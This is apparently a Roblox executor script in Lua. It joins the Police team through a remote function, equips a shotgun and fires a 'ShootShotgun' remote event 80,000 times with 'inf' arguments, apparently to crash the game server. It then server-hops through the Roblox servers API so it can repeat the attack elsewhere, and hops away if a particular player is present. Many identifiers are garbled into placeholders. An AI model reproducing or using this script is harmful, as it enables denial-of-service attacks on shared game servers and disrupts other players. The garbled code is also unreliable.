repeat task.
wait() until game:IsLoaded()
workspace:WaitForChild("Ignore")
for i, v in next, [Link]:GetPlayers() do
if [Link] == "yourservercrasher21" then
shop(14, 28)
end
end
[Link](function()
[Link](30)
shop(14, 28)
end)
function shop(min, max)
local goofyahhvalue = [Link](min, max)
local Player = [Link]
local Http = game:GetService("HttpService")
local TPS = game:GetService("TeleportService")
local Api = "[Link]
local _place,_id = [Link], [Link]
local _servers = Api.._place.."/servers/Public?sortOrder=Desc&limit=100"
function ListServers(cursor)
local Raw = game:HttpGet(_servers .. ((cursor and "&cursor="..cursor) or ""))
return Http:JSONDecode(Raw)
end
local Next; repeat
[Link](0.15)
local Servers = ListServers(Next)
for i,v in next, [Link] do
if [Link] <= goofyahhvalue and [Link] ~= _id then
local s,r = pcall([Link],TPS,_place,[Link],Player)
if s then [Link](5) break end
end
end
Next = [Link]
until not Next
end
getgenv().shop = shop
local A_1 = "SetTeam"
local A_2 = "Police"
local Event = game:GetService("ReplicatedStorage").RemoteFunction
Event:InvokeServer(A_1, A_2)
local plr = [Link]
local char = workspace:WaitForChild(game:GetService("Players").[Link])
--[Link](0.5)
for i = 1, 40 do
wait()
[Link] = [Link]
+ [Link](0, -6, 0)
[Link] = [Link] +
[Link](0, -6, 0)
[Link] = [Link] +
[Link](0, -6, 0)
[Link]:FireServer()
end
[Link](0.5)
[Link]:EquipTool([Link])
wait(4)
for i = 1, 80000 do
game:GetService("ReplicatedStorage").Event:FireServer("ShootShotgun",
workspace[[Link]], [Link](0, 0, 0), "Shotgun", "inf", "inf", "inf")
end
wait(4)
shop(14, 28)